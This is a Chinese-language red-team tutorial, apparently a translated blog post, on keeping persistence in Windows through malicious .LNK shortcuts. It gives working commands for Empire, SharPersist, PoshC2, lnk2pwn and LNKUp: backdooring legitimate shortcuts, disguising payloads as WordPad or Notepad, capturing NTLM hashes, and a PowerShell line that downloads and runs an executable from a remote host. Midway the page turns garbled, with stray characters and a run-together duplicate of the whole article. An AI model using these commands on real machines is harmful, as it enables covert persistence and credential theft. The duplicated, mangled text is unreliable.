Window許可權維持(四):快捷方式

  • 2019 年 11 月 14 日
  • 筆記

Windows快捷方式包含對系統上安裝的軟體或文件位置(網路或本地)的引用。自從惡意軟體出現之初,便已將快捷方式用作執行惡意程式碼以實現持久性的一種方法。快捷方式的文件擴展名是.LNK,它為紅隊提供了很多機會來執行各種格式的程式碼(exe,vbs,Powershell,scriptlet等)或竊取NTLM哈希值。更隱蔽的方法是修改現有合法快捷方式的屬性,但是生成具有不同特徵的快捷方式可以為程式碼執行提供靈活性。

Empire

Empire包含一個持久性模組,該模組可以後門合法的快捷方式(.LNK),以執行任意的PowerShell有效負載。現有快捷方式的目標欄位將被修改以執行存儲在註冊表項中的base64腳本。

usemodule persistence/userland/backdoor_lnk
Empire–後門現有快捷方式

查看快捷方式的屬性將顯示目標欄位已成功修改以執行PowerShell有效負載。

由於快捷方式存在於啟動文件夾中,因此暫存器將在下一次Windows登錄中執行,並且將與命令和控制伺服器建立連接。

Empire-通過快捷方式成功上線

但是,Empire包含一個可用於生成具有LNK文件格式的暫存器的模組。

usestager windows/launcher_lnk  set Listener http  execute
Empire-創建快捷方式

默認情況下,此模組將使用寫字板圖標偽裝成可信任的應用程式。

Empire-寫字板快捷方式

快捷方式的目標欄位將使用執行Base64有效負載的PowerShell命令填充。可以將快捷方式轉移並移動到啟動文件夾中以保持持久性。

Empire-快捷屬性

SharPersist

SharPersist能夠創建Internet Explorer快捷方式,該快捷方式將執行任意有效負載並將其放置在啟動文件夾中以實現持久性。

SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:temppentestlab.exe" -f "pentestlab" -m add
SharPersist –快捷方式

當用戶進行身份驗證時,將執行有效負載,並打開Meterpreter會話.

SharPersist – Meterpreter

PoshC2

PoshC2可以創建一個LNK文件並將其直接放置在Windows啟動文件夾中以保持持久性。可以通過執行以下命令來調用此技術:

install-persistence 3
PoshC2 –啟動LNK文件

在Windows登錄期間,快捷方式將嘗試在註冊表項上執行值,該註冊表項包含base64格式的stager。

PoshC2 –快捷方式

雜項

PoshC

在常見的紅色團隊工具包之外,還有多個腳本可用於開發惡意快捷方式。將這些快捷方式放置在啟動文件夾中以保持持久性將是一個微不足道的過程,因為假定已經存在與命令和控制伺服器的通訊。

lnk2pwn是用Java編寫的工具,可用於製作惡意快捷方式。可以通過命令控制台在生成快捷方式期間嵌入任意命令。

java -jar lnk2pwn.jar

默認情況下,lnk2pwn將生成偽造的記事本快捷方式,但是可以輕鬆更改圖標。

BI~C|h1h2h3|「<>olul|超斷ΣV表|Windows快捷方式包含對系統上安裝的軟體或文件位置(網路或本地)的引用。自從惡意軟體出現之初,便已將快捷方式用作執行惡意程式碼以實現持久性的一種方法。快捷方式的文件擴展名是.LNK,它為紅隊提供了很多機會來執行各種格式的程式碼(exe,vbs,Powershell,scriptlet等)或竊取NTLM哈希值。更隱蔽的方法是修改現有合法快捷方式的屬性,但是生成具有不同特徵的快捷方式可以為程式碼執行提供靈活性。EmpireEmpire包含一個持久性模組,該模組可以後門合法的快捷方式(.LNK),以執行任意的PowerShell有效負載。現有快捷方式的目標欄位將被修改以執行存儲在註冊表項中的base64腳本。usemodule persistence/userland/backdoor_lnkEmpire–後門現有快捷方式查看快捷方式的屬性將顯示目標欄位已成功修改以執行PowerShell有效負載。Empire-修改後的快捷方式由於快捷方式存在於啟動文件夾中,因此暫存器將在下一次Windows登錄中執行,並且將與命令和控制伺服器建立連接。Empire-通過快捷方式成功上線但是,Empire包含一個可用於生成具有LNK文件格式的暫存器的模組。usestager windows/launcher_lnk set Listener http executeEmpire-創建快捷方式默認情況下,此模組將使用寫字板圖標偽裝成可信任的應用程式。Empire-寫字板快捷方式快捷方式的目標欄位將使用執行Base64有效負載的PowerShell命令填充。可以將快捷方式轉移並移動到啟動文件夾中以保持持久性。Empire-快捷屬性SharPersistSharPersist能夠創建Internet Explorer快捷方式,該快捷方式將執行任意有效負載並將其放置在啟動文件夾中以實現持久性。SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:temppentestlab.exe" -f "pentestlab" -m addSharPersist –快捷方式當用戶進行身份驗證時,將執行有效負載,並打開Meterpreter會話.SharPersist – MeterpreterPoshC2PoshC2可以創建一個LNK文件並將其直接放置在Windows啟動文件夾中以保持持久性。可以通過執行以下命令來調用此技術:install-persistence 3PoshC2 –啟動LNK文件在Windows登錄期間,快捷方式將嘗試在註冊表項上執行值,該註冊表項包含base64格式的stager。PoshC2 –快捷方式雜項PoshC在常見的紅色團隊工具包之外,還有多個腳本可用於開發惡意快捷方式。將這些快捷方式放置在啟動文件夾中以保持持久性將是一個微不足道的過程,因為假定已經存在與命令和控制伺服器的通訊。lnk2pwn是用Java編寫的工具,可用於製作惡意快捷方式。可以通過命令控制台在生成快捷方式期間嵌入任意命令。java -jar lnk2pwn.jar默認情況下,lnk2pwn將生成偽造的記事本快捷方式,但是可以輕鬆更改圖標。添加描述lnk2pwn –假記事本快捷方式使用LNKUp python腳本可以實現類似的結果,該腳本可以生成可以執行任意命令或竊取目標用戶的NTLM哈希的快捷方式。python generate.py –host 10.0.2.21 –type ntlm –output out.lnk添加描述LNKUp – NTLM哈希快捷方式由於生成的LNK文件將包含UNC路徑,因此需要使用響應器,或者具有捕獲NTLM哈希值的Metasploit模組。use auxiliary/server/capture/smbLNKUp – NTLM捕獲密碼哈希可以用於離線破解或NTLM中繼攻擊,以便訪問其他系統或用戶的電子郵件。LNKUp還具有生成將執行任意命令的快捷方式的功能。python generate.py –host 10.0.2.21 –type ntlm –output pentestlab.lnk –execute "cmd.exe /c C:temppentestlab.exe"LNKUp –執行命令xillwillx開發了一個名為ricky.lnk的PowerShell腳本,該腳本可以創建一個以.unik字元欺騙的.LNK文件,該字元反轉.lnk擴展名並在文件末尾附加.txt。生成的擴展名將包含一個PowerShell命令,該命令將從遠程伺服器下載文件並直接在系統上執行。C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;或者,該項目包含一個VBS腳本,該腳本可以執行與PowerShell版本相同的操作。

lnk2pwn –假記事本快捷方式

使用LNKUp python腳本可以實現類似的結果,該腳本可以生成可以執行任意命令或竊取目標用戶的NTLM哈希的快捷方式。

python generate.py --host 10.0.2.21 --type ntlm --output out.lnk
LNKUp – NTLM哈希快捷方式

由於生成的LNK文件將包含UNC路徑,因此需要使用響應器,或者具有捕獲NTLM哈希值的Metasploit模組。

use auxiliary/server/capture/smb
LNKUp – NTLM捕獲

密碼哈希可以用於離線破解或NTLM中繼攻擊,以便訪問其他系統或用戶的電子郵件。LNKUp還具有生成將執行任意命令的快捷方式的功能。

python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:temppentestlab.exe"
LNKUp –執行命令

xillwillx開發了一個名為ricky.lnk的PowerShell腳本,該腳本可以創建一個以.unik字元欺騙的.LNK文件,該字元反轉.lnk擴展名並在文件末尾附加.txt。生成的擴展名將包含一個PowerShell命令,該命令將從遠程伺服器下載文件並直接在系統上執行。

C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;
Tricky2 – PowerShell

或者,該項目包含一個VBS腳本,該腳本可以執行與PowerShell版本相同的操作。

Tricky – VBS腳本